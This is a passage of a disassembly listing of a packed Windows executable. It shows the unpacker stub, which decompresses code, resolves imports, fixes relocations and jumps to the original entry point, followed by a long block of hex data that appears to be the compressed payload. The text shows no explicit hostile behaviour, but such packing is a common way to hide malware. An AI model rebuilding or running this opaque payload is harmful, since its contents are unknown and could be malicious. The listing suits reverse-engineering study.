5AAh call eax pop ebx pop ecx pop edi cmp ecx, 0 jz short loc_47C24B add ebx, 8 jmp short loc_47C212 ; --------------------------------------------------------------------------- loc_47C24B: ; CODE XREF: start+9Bj start+CAj push 8000h push 0 push dword ptr [ebp-142h] call dword ptr [ebp-0CEh] lea esi, [ebp-13Ah] mov ecx, [esi+8] lea edx, [esi+10h] mov esi, [esi] mov edi, esi cmp ecx, 0 jz short loc_47C2B2 loc_47C273: ; CODE XREF: start+100j start+10Ej mov al, [edi] inc edi sub al, 0E8h loc_47C278: ; CODE XREF: start+136j cmp al, 1 ja short loc_47C273 mov eax, [edi] cmp byte ptr [edx+1], 0 jz short loc_47C298 mov bl, [edx] cmp [edi], bl jnz short loc_47C273 mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah jmp short loc_47C2A2 ; --------------------------------------------------------------------------- loc_47C298: ; CODE XREF: start+108j mov bl, [edi+4] xchg al, ah rol eax, 10h xchg al, ah loc_47C2A2: ; CODE XREF: start+11Cj sub eax, edi add eax, esi mov [edi], eax add edi, 5 sub bl, 0E8h mov eax, ebx loop loc_47C278 loc_47C2B2: ; CODE XREF: start+F7j call sub_47C3F1 lea ecx, [ebp-126h] mov eax, [ecx+8] cmp eax, 0 jz loc_47C34A mov esi, edx sub esi, [ecx+10h] jz short loc_47C34A mov [ecx+10h], esi lea esi, [ebp-0F6h] mov esi, [esi] lea ebx, [esi-4] mov eax, [ecx] cmp eax, 1 jz short loc_47C2EF mov edi, edx add edi, [ecx+8] mov ecx, [ecx+10h] jmp short loc_47C2F7 ; --------------------------------------------------------------------------- loc_47C2EF: ; CODE XREF: start+169j mov edi, esi add edi, [ecx+8] mov ecx, [ecx+10h] loc_47C2F7: ; CODE XREF: start+173j start+18Ej xor eax, eax mov al, [edi] inc edi or eax, eax jz short loc_47C320 cmp al, 0EFh ja short loc_47C30A loc_47C304: ; CODE XREF: start+19Dj start+1A4j add ebx, eax add [ebx], ecx jmp short loc_47C2F7 ; --------------------------------------------------------------------------- loc_47C30A: ; CODE XREF: start+188j and al, 0Fh shl eax, 10h mov ax, [edi] add edi, 2 or eax, eax jnz short loc_47C304 mov eax, [edi] add edi, 4 jmp short loc_47C304 ; --------------------------------------------------------------------------- loc_47C320: ; CODE XREF: start+184j xor ebx, ebx xchg edi, esi mov eax, [esi] cmp eax, 0 jz short loc_47C34A loc_47C32B: ; CODE XREF: start+1BCj lodsd or eax, eax jz short loc_47C338 add ebx, eax add [edi+ebx], cx jmp short loc_47C32B ; --------------------------------------------------------------------------- loc_47C338: ; CODE XREF: start+1B4j xor ebx, ebx shr ecx, 10h loc_47C33D: ; CODE XREF: start+1CEj lodsd or eax, eax jz short loc_47C34A add ebx, eax add [edi+ebx], cx jmp short loc_47C33D ; --------------------------------------------------------------------------- loc_47C34A: ; CODE XREF: start+149j start+154j ... lea esi, [ebp-16Ah] mov edx, [esi] lea esi, [ebp-10Eh] mov al, [esi] cmp al, 1 jnz short loc_47C39D add edx, [esi+4] push esi push edx push esi push 4 push 100h push edx call dword ptr [ebp-0D6h] pop edi pop esi cmp eax, 1 jnz loc_47C53A add esi, 8 mov ecx, 8 rep movsb sub esi, 0Ch sub edi, 8 push esi push dword ptr [esi-4] push 100h push edi call dword ptr [ebp-0D6h] loc_47C39D: ; CODE XREF: start+1E2j push ebp pop ebx sub ebx, 8 xor ecx, ecx mov cl, [ebx] cmp cl, 0 jz short loc_47C3D6 inc ebx lea esi, [ebp-16Ah] mov edx, [esi] loc_47C3B7: ; CODE XREF: start+25Aj push esi push ecx push ebx push edx push esi push dword ptr [ebx] push dword ptr [ebx+4] mov eax, [ebx+8] add eax, edx push eax call dword ptr [ebp-0D6h] pop edx pop ebx pop ecx pop esi add ebx, 0Ch loop loc_47C3B7 loc_47C3D6: ; CODE XREF: start+14j start+232j mov eax, 0 cmp eax, 0 jz short loc_47C3EA popa popf mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_47C3EA: ; CODE XREF: start+264j popa popf jmp sub_401000 start endp ; =============== S U B R O U T I N E ======================================= sub_47C3F1 proc near ; CODE XREF: start:loc_47C2B2p mov esi, [ebp-172h] or esi, esi jz loc_47C496 mov edx, [ebp-16Ah] add esi, edx loc_47C407: ; CODE XREF: sub_47C3F1+61j cmp dword ptr [esi], 0 jnz short loc_47C41A cmp dword ptr [esi+4], 0 jnz short loc_47C41A cmp dword ptr [esi+8], 0 jnz short loc_47C41A jmp short loc_47C494 ; --------------------------------------------------------------------------- loc_47C41A: ; CODE XREF: sub_47C3F1+19j ; sub_47C3F1+1Fj ... mov ebx, [esi+8] add ebx, edx push ebx push edx push esi lea edi, [ebp-7Eh] add edi, [esi+4] add esi, 0Ch push edi call dword ptr [ebp-0DEh] pop edi pop edx pop ebx cmp eax, 0 jz short loc_47C496 mov [ebp-162h], eax add edi, [esi] add esi, 4 loc_47C448: ; CODE XREF: sub_47C3F1+A1j xor ecx, ecx mov cl, [esi] cmp ecx, 0 jnz short loc_47C454 inc esi jmp short loc_47C407 ; --------------------------------------------------------------------------- loc_47C454: ; CODE XREF: sub_47C3F1+5Ej mov eax, edi add edi, ecx push edx push ebx push eax cmp byte ptr [eax], 0FFh jnz short loc_47C468 inc eax mov eax, [eax] and eax, 7FFFFFFFh loc_47C468: ; CODE XREF: sub_47C3F1+6Dj mov cl, [edi] mov byte ptr [edi], 0 push ecx push eax push dword ptr [ebp-162h] call dword ptr [ebp-0DAh] pop ecx pop edx pop ebx pop edx cmp eax, 0 jz short loc_47C496 mov [edi], cl mov [esi-4], eax push dword ptr [esi-4] pop dword ptr [ebx] add ebx, 4 inc esi jmp short loc_47C448 ; --------------------------------------------------------------------------- loc_47C494: ; CODE XREF: sub_47C3F1+27j clc retn ; --------------------------------------------------------------------------- loc_47C496: ; CODE XREF: sub_47C3F1+8j ; sub_47C3F1+4Aj ... jmp loc_47C53A sub_47C3F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_47C49B proc near ; CODE XREF: start+6Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0047C536 SIZE 00000004 BYTES push ebp mov ebp, esp mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] cld mov dl, 80h loc_47C4A7: ; CODE XREF: sub_47C49B+12j movsb loc_47C4A8: ; CODE XREF: sub_47C49B+34j ; sub_47C49B+7Dj call sub_47C51A jnb short loc_47C4A7 xor ecx, ecx call sub_47C51A jnb short loc_47C4D1 xor eax, eax call sub_47C51A jnb short loc_47C4E2 mov al, 10h loc_47C4C3: ; CODE XREF: sub_47C49B+2Fj call sub_47C51A adc al, al jnb short loc_47C4C3 jnz short loc_47C50F stosb jmp short loc_47C4A8 ; --------------------------------------------------------------------------- loc_47C4D1: ; CODE XREF: sub_47C49B+1Bj call sub_47C526 dec ecx loop loc_47C4EE mov eax, ebp call sub_47C524 jmp short loc_47C510 ; --------------------------------------------------------------------------- loc_47C4E2: ; CODE XREF: sub_47C49B+24j lodsb shr eax, 1 jz short loc_47C536 adc ecx, 2 mov ebp, eax jmp short loc_47C510 ; --------------------------------------------------------------------------- loc_47C4EE: ; CODE XREF: sub_47C49B+3Cj xchg eax, ecx dec eax shl eax, 8 lodsb mov ebp, eax call sub_47C524 cmp eax, 7D00h jnb short loc_47C50E cmp eax, 500h jnb short loc_47C50F cmp eax, 7Fh ja short loc_47C510 loc_47C50E: ; CODE XREF: sub_47C49B+65j inc ecx loc_47C50F: ; CODE XREF: sub_47C49B+31j ; sub_47C49B+6Cj inc ecx loc_47C510: ; CODE XREF: sub_47C49B+45j ; sub_47C49B+51j ... push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_47C4A8 sub_47C49B endp ; =============== S U B R O U T I N E ======================================= sub_47C51A proc near ; CODE XREF: sub_47C49B:loc_47C4A8p ; sub_47C49B+16p ... add dl, dl jnz short locret_47C523 mov dl, [esi] inc esi adc dl, dl locret_47C523: ; CODE XREF: sub_47C51A+2j retn sub_47C51A endp ; =============== S U B R O U T I N E ======================================= sub_47C524 proc near ; CODE XREF: sub_47C49B+40p ; sub_47C49B+5Bp xor ecx, ecx sub_47C524 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_47C526 proc near ; CODE XREF: sub_47C49B:loc_47C4D1p inc ecx loc_47C527: ; CODE XREF: sub_47C526+Dj call sub_47C51A adc ecx, ecx call sub_47C51A jb short loc_47C527 retn sub_47C526 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_47C49B loc_47C536: ; CODE XREF: sub_47C49B+4Aj pop ebp retn 8 ; END OF FUNCTION CHUNK FOR sub_47C49B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_47C53A: ; CODE XREF: start+51j start+1FDj ... push 0 call dword ptr [ebp-0CAh] retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- inc dword ptr [eax] mov edx, [ecx] cmp edx, [ecx+4] jnz short loc_47C556 mov dword ptr [ecx+eax*2], 2300110h or al, 0FFh retn ; --------------------------------------------------------------------------- loc_47C556: ; CODE XREF: .nsp1:0047C54Aj pop es mov al, [edx] inc edx mov [ecx], edx pusha mov eax, [esp+4] sbb al, 83h popa adc [ebx], dh or [ebx+eax*4], cl push esi push ds and [ebx], al rol byte ptr [ecx+49h], 1 or bh, bh push 5 jmp short loc_47C585 ; --------------------------------------------------------------------------- dw 5E58h dd 239C9E8h, 0F0CE48Bh, 0C1C0B600h db 0E2h ; --------------------------------------------------------------------------- loc_47C585: ; CODE XREF: .nsp1:0047C574j or [ebx], cl retn 3E4Eh ; --------------------------------------------------------------------------- dw 4189h dd 5EEA750Fh, 5300040Eh, 8718B56h, 85DB3307h, 798057D2h dd 762C7E0Ch, 0D1EA1C55h, 3BE380EEh, 2B0572FEh, 0CB1D83E8h dd 0C5778101h, 0C1107360h, 0E8081AE6h, 41848985h, 4DF800E7h dd 675DD875h, 4C5F6289h, 8B1C5E7Ah, 8CB35BC3h, 614F97F2h dd 39B70F57h, 3CC1C2DCh, 0AF1E0BE8h, 0C7E00C7h, 4073F83Bh dd 0BC468931h, 1F566C0h, 0BFD0348Eh, 2B98F01Eh, 0FF00C1FAh dd 66F80305h, 7F813989h, 195CA87Eh, 0E8CE148Bh, 4E889F2Ah dd 381DE164h, 0DFF166BAh, 0EB0EE072h, 4FD02B42h, 89566DF8h dd 8FA06FD7h, 0D00AD20Ch, 0EA50C1E6h, 86DFC29Eh, 0FEE742A3h dd 5F40021Fh, 0D681C35Eh, 0BB5351ECh, 94DA3E16h, 1E8DB85h dd 891A7EF9h, 0B240FC5Dh, 708D0855h, 180CE634h, 0FD3FE83Eh dd 4DE6C603h, 0EB75FC0Ch, 242C25Eh, 0E2D3CB8Bh, 0C9045B5Fh dd 3A191F95h, 0F8DD8976h, 0C357309Ch, 7D3942FFh, 0FBD98BC9h dd 207EFCA8h, 12785665h, 1E0C4203h, 0BD2385E8h, 614D0CFh dd 9E003D3h, 3B47FC45h, 0E27C4812h, 2414151Bh, 6D61C988h dd 0DAE899F2h, 6E4940ECh, 54E8D3E4h, 380BABCFh, 0BE493DC6h dd 9FEA7C14h, 35A05B2Bh, 0D29C1950h, 435294FCh, 8751BC4h dd 65D0D1B8h, 0EEEC1D8h, 1468D07h, 326E0CFh, 471B76C3h dd 0D07396E8h, 2D80BDBh, 1C75F03Bh, 40A1FB81h, 0B21AEBD3h dd 221BB657h, 59A276E8h, 1C99D88Bh, 8AB88AE6h, 566585C3h dd 47FA820Eh, 417CE8F1h, 75C01385h, 0C2A4616h, 403AC57h dd 4C8D036Ah, 0E85AB030h, 0EB31C7DCh, 24EC03Bh, 32F8D78Bh dd 755724A8h, 104B1B65h, 0D8C2422h, 0B54E919Fh, 8C08301h dd 406A11EBh, 2048EF8h, 0CA213A1h, 67D2D210h, 384ABE2Ch dd 4E0813F9h, 4D41F154h, 24C8030Ch, 0B8704733h, 1A52A4F1h dd 0DCC9283Dh, 0F44DCCEBh, 28E806C8h, 0D210E6E5h, 4B661AD6h dd 90F84D41h, 0F020EC06h, 0E7D3E403h, 5073605h, 4ADB325Ah dd 0CCE1C4Fh, 55604D39h, 0DC2E1060h, 0D6A0873h, 0A0E95802h dd 769842E1h, 0D1C87540h, 0DCA8B7F9h, 0F3FE202Fh, 61C913ABh dd 75FF0A66h, 14032018h, 0C84D8D02h, 0A3FCFAE8h, 80207D8Eh dd 0D470860Fh, 10128A5Dh, 20861923h, 0DE89C1D8h, 66851860h dd 0F4EA13A3h, 2061AA42h, 0C29B4604h, 55624E73h, 46FD4464h dd 82766212h, 474223DCh, 8B1A580h, 20E74D2Ah, 0A590C380h dd 0C59CA3h, 8DC203A1h, 5904004h, 0FF83091Dh, 6C8806E4h dd 67D0F0Eh, 3F46587h, 243D10EBh, 9E05BA0Ah, 65B903EFh dd 0A50D060Ah, 830CEF4h, 0F6204974h, 0F8B02B39h, 48A1C9Ah dd 0AA88103Ch, 65A09A18h, 7783FE1Dh, 4708816Ch, 8AE76C0Eh dd 1C54D867h, 0F2836A94h, 7EAE0843h, 33340180h, 42E894C2h dd 3BC1A362h, 0AF1B50C3h, 2DB2E1C7h, 0E823983Ah, 0A62F519Eh dd 45752F8Eh, 920F47A4h, 0D18A0395h, 0E84605C1h, 75184E86h dd 0FEE392Ch, 558B8435h, 1FF0B514h, 9D0707FFh, 0F8912BC0h dd 9C1448Dh, 39F4F943h, 1338AD3h, 4A31FF33h, 4AE91288h dd 0B058A4CEh, 75184622h, 0EC48C305h, 2B2B27EBh, 0E80A8AC8h dd 0F0E1182Eh, 76BA09EBh, 87E410E4h, 0EC1D38B5h, 0EDB419B6h dd 0A2E613A8h, 8E8481DDh, 32480A68h, 0C2D5AA9Bh, 91EA6299h dd 0E0DC487Eh, 0BD9E7FDh, 0C2ADE911h, 0F06C8944h, 0DBE41C5Bh dd 9D6D0CD1h, 2C591284h, 6648888h, 0A113229h, 9750E81Bh dd 2404F8D9h, 34C7CB4h, 0D858247Dh, 3DF25194h, 81062407h dd 4B536093h, 549E7414h, 49647C21h, 0D6C7D1E2h, 4AFB2391h dd 0BA30CFF9h, 0CC3E98CAh, 7D5D0E2Ah, 0E4511524h, 5EF02B1Dh dd 80055E4Eh, 5DD73AE8h, 21EB7001h, 0E1E7C283h, 18A4FB0Fh dd 1C00493Eh, 6A50C845h, 44F691F1h, 0DBEB5A0Ah, 8590B4CEh dd 0D36284B6h, 648838Eh, 303424C9h, 9E3C80A6h, 393F3A77h dd 0D3C1A41Ch, 342429Ch, 40188AC7h, 9413940h, 0D2854A40h dd 57EC2A1h, 7220D43Bh, 78F1EC49h, 820FE0E7h, 45B59055h dd 83CC95D2h, 0D2851C6Eh, 7841EB75h, 63F0D1C3h, 72102E12h dd 800F8A87h, 0BB82E144h, 0F4D1610Dh, 62720124h, 96E94407h dd 55E3194Ah, 2E2D2E2Ch, 72805F2Eh, 8AE43214h, 2EB37DC1h dd 0AAC1F3F6h, 0C807C8Fh, 0FA7548D3h, 12BA093Ch, 1CF71CA6h dd 16F781FCh, 0F11EC9F5h, 0BB060682h, 0E35061C6h, 10E068CFh dd 9C268D92h, 5341A71Bh, 9D71FF52h, 0BD2077CDh, 0A17A90C8h dd 1494D38Bh, 206FB405h, 57885272h, 1DFC12B8h, 33242065h dd 18CE4F6h, 81806E46h, 2E69C36Ah, 8B020240h, 5FC385C6h dd 53F8C41Eh, 80B901h, 0 dd 2000005Dh, 2516F00h, 7B00000h, 340000h, 33D5452h, 43AC14BFh dd 0B4733A91h, 823DB8A7h, 0A67DF4F5h, 0F0FBC264h, 0C6509FB0h dd 7671C2C1h, 0FD8751AEh, 0A5F2942Dh, 126BD7DDh, 2F6AC67Ah dd 940997A9h, 0CF735C4Ch, 4C8FEB8Ah, 92D232C3h, 53D53352h dd 1D6C4A9Ah, 581A61C7h, 8D39749Eh, 0F3FC453Ch, 4E0B3DE4h dd 5F09C90Dh, 6D04D93Ch, 0EE0EAD4h, 7DDC5BDh, 3742BAE8h dd 58C973Ah, 0C5C6262Dh, 510606D8h, 0EC08CFD4h, 1BDBFFE0h dd 241171A5h, 0B8867AC7h, 48D2E845h, 0E16070FCh, 1143D6B1h dd 84E14100h, 5E683D2h, 9E595A29h, 0C1323966h, 4AEDF1E4h dd 8D101D29h, 0D1412167h, 29F33FA7h, 0C6BE38AEh, 5BE511E0h dd 535BBB73h, 0F1C7EF5Bh, 0DB8B120h, 0D069A3Ch, 5F0715DAh dd 5CE6B934h, 0FEF6FAAh, 9E87C709h, 3DEE7CD0h, 0A26BF5E2h dd 0A715D56h, 43BB5160h, 5AD6C1DCh, 4F91BBAAh, 50583346h dd 851A68DAh, 0CC156966h, 879ECA67h, 67090B88h, 4FFA5F29h dd 0D789B927h, 26961132h, 0C378639Ah, 436186BAh, 7E5EB020h dd 4F241D5h, 733BB60Dh, 0AE8C2C51h, 4E18B01Eh, 0E61569A6h dd 7ECF6E0Dh, 0E04C8623h, 5A4DF0D2h, 13BAAECh, 0F1276E0h dd 0AA1946Eh, 23A3A107h, 14CAE922h, 0FD231A2h, 76F0E8E8h dd 2D5987Fh, 90DAEE44h, 0EFE7510Fh, 96371121h, 86B99011h dd 5920AA48h, 0B070CFCEh, 60D7454Ch, 0E0FCBCDEh, 8939140Bh dd 0DF133B2Fh, 9794A1F8h, 7CEC53D6h, 5AF4D5EFh, 82F9DC36h dd 0A6F4C134h, 0D214434Ch, 490CBBC7h, 4F608914h, 4295056Bh dd 0D610B65Fh, 505F3609h, 9F132C8Ch, 0C2D10946h, 8C2A9222h dd 0CD090920h, 0C1DA9EEh, 7672C921h, 795C62CBh, 0BF9F6272h dd 8587852Ch, 0A36831E3h, 6A101C20h, 1751BF66h, 5777A636h dd 12A106ABh, 0E61AEEA9h, 0C3B5E73Fh, 0EB379C94h, 33BE9918h dd 0C6C80CEEh, 0F5CCB7F8h, 739FCF3h, 0E2B2BDE6h, 57C2F6F0h dd 0D27E5F17h, 2E1A2B3Bh, 2A0EEBB7h, 0DBA11C69h, 5D0A0F1Bh dd 0F5E6A088h, 0A4827F7Bh, 0FB4BC2D0h, 8C698DA9h, 69531F6Eh dd 0A261CCA8h, 63E8D71Bh, 0E7A2EAC3h, 9F7CAB5Dh, 0EEBB8287h dd 74C26432h, 0E5FC6655h, 264B1A97h, 1999EA20h, 265F6963h dd 0B1EC0F0Dh, 0DACB02Bh, 209717F6h, 2D2641B4h, 0D438C46Eh dd 75FEADADh, 24BC0E34h, 42D221B8h, 0E3CF2C85h, 35CC6934h dd 1CC2AA92h, 0D2CD25EBh, 0F1B6199Eh, 60FC46B5h, 0ACA77654h dd 6571A61Dh, 75E8D56Dh, 0E10DB2E0h, 3672178Bh, 0BB90AC8h dd 47846E2h, 7DBC131Fh, 6FDEE40Ch, 67860BF4h, 2708D1E4h dd 20E4BA9Dh, 73E7C938h, 742927B8h, 41B6AB57h, 77B2EAE8h dd 0DA6733D2h, 65A2D571h, 0AE9A9CA3h, 0C3CC2DDDh, 0E5F1FE88h dd 1DB03665h, 7DDBEB58h, 2D5DE48Eh, 9F415432h, 4389B40Ch dd 4EFBC9EEh, 716D5391h, 0F5FCEA82h, 64C4A637h, 8CD3F336h dd 8F1AA59Fh, 0CC72FC33h, 0EA781D13h, 29B9B33Dh, 1E949C25h dd 3BDDB35Ah, 2D84355Dh, 0B19738F6h, 0D4945BFEh, 2AA5080Ch dd 22A732A2h, 0AFE1CD0Ah, 49CD21DCh, 0DA1A5887h, 9D08EE2Fh dd 184463ACh, 520C1E09h, 52107F8Fh, 46E6195Dh, 34B1B39Bh dd 0DEBE3329h, 6EDE08B3h, 13A147D4h, 62FC2817h, 3603C3A7h dd 0C4D2BA45h, 3C70B2A6h, 0B6F54053h, 0F6157B56h, 1FB88416h dd 3F03D626h, 0DB37A9C9h, 0E4F96AD2h, 0E2D995E0h, 0FBE91E66h dd 10AAEEE4h, 13D9EF6Ch, 58875580h, 33585B07h, 0A598EF0Fh dd 95137D26h, 48D7529h, 0B3FAFA0h, 0EC12976Eh, 3EA70AE3h dd 0BBDEF5A3h, 88A684BDh, 2C4E7AB7h, 62B7200Eh, 4E838152h dd 53509BA4h, 0BA6626AEh, 77178EEFh, 8CB7643Ah, 9D1C5E32h dd 0E452C624h, 55245A39h, 43AC1D4Dh, 0C7403351h, 30641AADh dd 0D026E747h, 0A17A0C48h, 24A957EDh, 0B51BC780h, 0A3D9F91Eh dd 0B8BB0F68h, 45C361B9h, 0C7804859h, 0A679EA73h, 6DEB38D3h dd 0DC411468h, 19BD9B01h, 0E3337F3Bh, 39218AB9h, 841CDAC8h dd 0C859C416h, 0B3A11384h, 9F2DCBF8h, 0E4D46150h, 476C7B7Eh dd 981A37E7h, 3B2E248h, 0CD37D4ACh, 0DA4E28E7h, 0AD8D47B6h dd 0C5909772h, 57EE146Dh, 0D61932A9h, 0A797E9ACh, 72DD6016h dd 0D1C90792h, 47FC242Bh, 1EB15A29h, 51D15C88h, 16D11C44h dd 560E6CF8h, 7934C04h, 6D3A4A8Eh, 0A38CB6B3h, 0FF90C008h dd 955DBF94h, 0EF3CD60Ah, 0B9A7EDB2h, 0B25482BAh, 884149ECh dd 655797A1h, 0A0536EB3h, 0FE571C62h, 0BBE4E2DFh, 0ECACD587h dd 4A7EC7C4h, 246B8C9Ch, 0A31FD0D2h, 8D10D2B6h, 698B918Dh dd 1D1A7E28h, 0CECF356h, 7EA5640Ch, 0F6A1D90Bh, 7424A935h dd 0CA1F6056h, 5208B680h, 0DD4F0D6Ah, 0D30FF756h, 54055B29h dd 119FFED4h, 0A334CBE3h, 0E84651A3h, 0A659CDD3h, 2DFA43E5h dd 0C755F6Bh, 44019E98h, 68E8ECFFh, 0EFD516B8h, 0ED13A3A5h dd 0B5975DC8h, 5B09266Dh, 7AF9908h, 0D9C99673h, 4B46FACBh dd 6BDFE218h, 174A5A2h, 0C392D5E0h, 86407583h, 0A35C0CBCh dd 0C79036Fh, 5DFF9C21h, 2193D686h, 0EE5006F2h, 0A38EA4F7h dd 7335383h, 394EFD35h, 2C0B4004h, 52EC478Ch, 0A9AC0917h dd 0BAA53A8Bh, 94F3B4CFh, 6A491C1Dh, 54B241F1h, 408DC1E2h dd 604A6CAh, 42C04DFDh, 475D9E68h, 52703DD3h, 6A87A67Ah dd 4804387Dh, 0A809A513h, 4D92B47Dh, 0B3C91FB1h, 7A3FD913h dd 0C0A7034Eh, 9859F149h, 0D1C6F3FEh, 0ED33B4ACh, 0BFDE7130h dd 87CF8937h, 0E158AFAEh, 8BA041B4h, 92616778h, 12AC23A9h dd 2641A4CDh, 0A886574h, 0FBAF514h, 92F8F591h, 466D0016h dd 84ECCD6Fh, 0BFC85DD7h, 894CE9EAh, 74CAF9EEh, 0DCA4BA98h dd 5F3A1CC0h, 680AFB13h, 37712FD9h, 87F9A061h, 0D8E500E7h dd 7909A2C5h, 0CFB585Ch, 6F003F99h, 12C4C3AEh, 385EE8F4h dd 3B2AE1AEh, 42BB536h, 589AA8BDh, 897BE773h, 0CADEE97Bh dd 9EEA9A1Dh, 76AE8683h, 2FFE0219h, 0C278234Eh, 680A1441h dd 683A90B4h, 79DB2D5Dh, 74FFCCD0h, 1B83E41Ch, 0FC137C3Dh dd 0BD282DE3h, 6491E16Fh, 6050D2BEh, 0A9466B79h, 8C1A37A4h dd 367B433Eh, 9F17BA4Eh, 0AE3A40C7h, 0DCE1D9E0h, 59F1CFC9h dd 7BA92F3h, 0E4FFDEF3h, 64869688h, 8389EA24h, 0BB02B90Eh dd 60591C8Dh, 0E457056Eh, 87908C96h, 621E433Dh, 108855AFh dd 79074067h, 9C3256BCh, 227C82EFh, 5B481398h, 26874BDCh dd 8FAD8F8h, 0EF4048B7h, 3D568BF3h, 0BC0F868Bh, 7CE1A4CFh dd 9E23765h, 0B4036968h, 0F6F15AA7h, 97543B62h, 1C7AD619h dd 0A68F452Fh, 0B8AD3A5Dh, 4B3C1148h, 9D2DE657h, 1A5C7557h dd 927061D0h, 0E6B1F0FAh, 2D08964Dh, 63921221h, 7CF84108h dd 4D41BA6Ch, 28169DCCh, 2868A7FEh, 3B3DAAE3h, 74D5E4E7h dd 0A1ED7C1Bh, 0EDDEA4DDh, 6D192EC0h, 19232086h, 1E149B30h dd 0BF995B1Fh, 0CF0EFED4h, 98D1D8C2h, 0E056B7FCh, 90D104D6h dd 0A5B7731Eh, 0E667768Dh, 0B2734821h, 2C7C8F05h, 4F78C5E7h dd 0A4185313h, 73CF21B7h, 5CB90A21h, 0CABC7496h, 0F105BFCCh dd 9055B482h, 20978FC2h, 0C745F7FFh, 6A744453h, 29AFA748h dd 5D4DD26h, 0DC1BF530h, 3F005C74h, 5FA3E5F6h, 7305D12Fh dd 79E93806h, 0B968B57Dh, 0D34168Fh, 492B46DDh, 0B34DA520h dd 97D9E8D4h, 0AE27554h, 511ACA12h, 0C39338E9h, 36ED4560h dd 72C253DAh, 992D5CFBh, 0C0974545h, 0F2874DD2h, 1E5424D8h dd 348D220Ah dd 0FF26542Fh, 0B14D2028h, 2238F604h, 4237AC75h, 2D15785Fh dd 372D59C7h, 8C12DC39h, 0B78B8B02h, 0BF06845h, 84556BE9h dd 906C3F1Bh, 3C2E4F80h, 0DE52905h, 0B51F13A4h, 0B997924h dd 0DF0917A1h, 7779305Eh, 85ADDFF5h, 0F8AB4451h, 0CD968482h dd 5B473037h, 598AD7C1h, 2B9F018Dh, 0D4398ADAh, 0FE9D8F4Eh dd 0CCCEED44h, 3286B64h, 0BE5B431Fh, 558120E9h, 287273CCh dd 0F4F74CACh, 44E2716Ah, 63E4FBAEh, 0E655EB82h, 0EBA13FE8h dd 5495FF50h, 7B3FF4CFh, 0C9837FEAh, 2F70F96Fh, 24250D5Ch dd 0E9FA26F5h, 0DEA3372h, 246398FFh, 2384CEA1h, 2BAD6C71h dd 43B686FAh, 491C5812h, 0F2CD65F9h, 7B290A91h, 0D624D2C6h dd 44966D82h, 392ABE35h, 330ABBA3h, 3743D591h, 0C48A52C2h dd 91B224D5h, 0E506C9FFh, 65F3E5B9h, 78472Dh, 0D9C23804h dd 17CC4A6h, 117C7A27h, 0D824D3E9h, 6D184BD8h, 0C7CDD8B1h dd 30266FFDh, 615C121Ch, 0A00C71D0h, 0C3157070h, 0AE5D0A00h dd 7EECFD78h, 9501AE88h, 0D32D3846h, 28C2603Ah, 0C28421DBh dd 0C579BB99h, 4F61607Ah, 0BDE415C7h, 0D42D09D1h, 0B23FF5EFh dd 0C2B328F9h, 0E542BDE7h, 0D100EA52h, 0AF663094h, 40E961F7h dd 1B95224Eh, 0E575DCE3h, 0D2B9E718h, 9F0DFD66h, 49A51B22h dd 8758BC25h, 0C734E32Fh, 8A17BC74h, 0B936A1Eh, 78299F1Eh dd 6DD19682h, 93CB17Dh, 6F47FD1Ah, 0C3CCB9C1h, 70D9FA5Bh dd 0E08B1981h, 49B7658h, 1F01096Ah, 3072C45Fh, 4F0981C5h dd 83BF9FDFh, 1E256E36h, 0AFB3F7D0h, 0BD37B085h, 0A37C0C4Dh dd 158367DFh, 0CB5F903Ch, 0AB072EA0h, 26D18C67h, 5F954B90h dd 0FFE0584Eh, 0F040FA71h, 0D0089C79h, 47328640h, 0CE9BBDF8h dd 0D2503EB1h, 3165DB2Ch, 0BB1340AFh, 614371FBh, 0BF1B1775h dd 3456E3B2h, 9509AF94h, 21F8428Eh, 29507F35h, 748C79DEh dd 0FECC16BBh, 66723ED2h, 7130CC9Fh, 7AC771C7h, 5E0ED90Eh dd 76A865BCh, 60E00753h, 848F999Ah, 9520713Bh, 3BB58C67h dd 0FEF2FC9Ah, 5966AC5Dh, 0E9FD6C36h, 63AAF7ABh, 25A13622h dd 5D1D5735h, 5A1D5D3Dh, 579F1630h, 5B1EBA0Eh, 633FC0BBh dd 96B540DFh, 0C26664E3h, 13EEA1EFh, 0A656A1A7h, 75842841h dd 8853911Fh, 6832F6C3h, 16C2595Fh, 0BD3FCEDAh, 2B149DDh dd 0ADFA25BCh, 0BE09B899h, 9DAC2D71h, 9FF32402h, 327D85F4h dd 9CB8B689h, 2CB714C2h, 118132BCh, 8D271746h, 551BA799h dd 1D930DF4h, 72278324h, 0E4CC5525h, 0CD0134E9h, 85333925h dd 0A28772D6h, 0F83E5A77h, 124D8B11h, 0D32AC4E1h, 0E2C12784h dd 0C7EB8E8Fh, 8136E58Eh, 3141DDF7h, 8905BC4h, 4DAFF5C1h dd 1E25553Bh, 9EC121C4h, 731A6640h, 77116CB6h, 40CD3058h dd 0DEE91B86h, 0F07575D3h, 0F46339FCh, 0EA5BA862h, 0C8C1F77Dh dd 0F1600F31h, 299D58EEh, 0B514C541h, 0B3D2A945h, 0EFF66A42h dd 577C42E5h, 0E729015h, 0AD57A2D3h, 0F2C74FD6h, 0BB91BD5Fh dd 0FC9F3404h, 0B3281826h, 0A46C26C9h, 0E5BFCD66h, 20ABB42Ah dd 0E1FD2759h, 7CB5C3D7h, 7F8FD914h, 855E8F47h, 0C7AF1E43h dd 1904295Ah, 22D2D9CDh, 6EAEA200h, 15C9EF04h, 0A4073304h dd 0F6177180h, 87813C1h, 68C1AA96h, 21F3840Eh, 1D003F8Ah dd 76773EF4h, 0EA0DEF31h, 9E90E008h, 476852BCh, 0E319512Ah dd 98FFF3FCh, 6516C74Eh, 27B7EF6Ch, 72A9343Ch, 44023C18h dd 76C6B335h, 0BADC3197h, 92601929h, 34B08DBAh, 0CB56B19Fh dd 97B74A51h, 83D9B02Dh, 33DBE38Eh, 0CB4E17Ch, 0FDFD08C5h dd 0CB8FE987h, 1ED5116h, 155B3A31h, 0DF16ED0Bh, 0F3CB1A02h dd 0A8F8B997h, 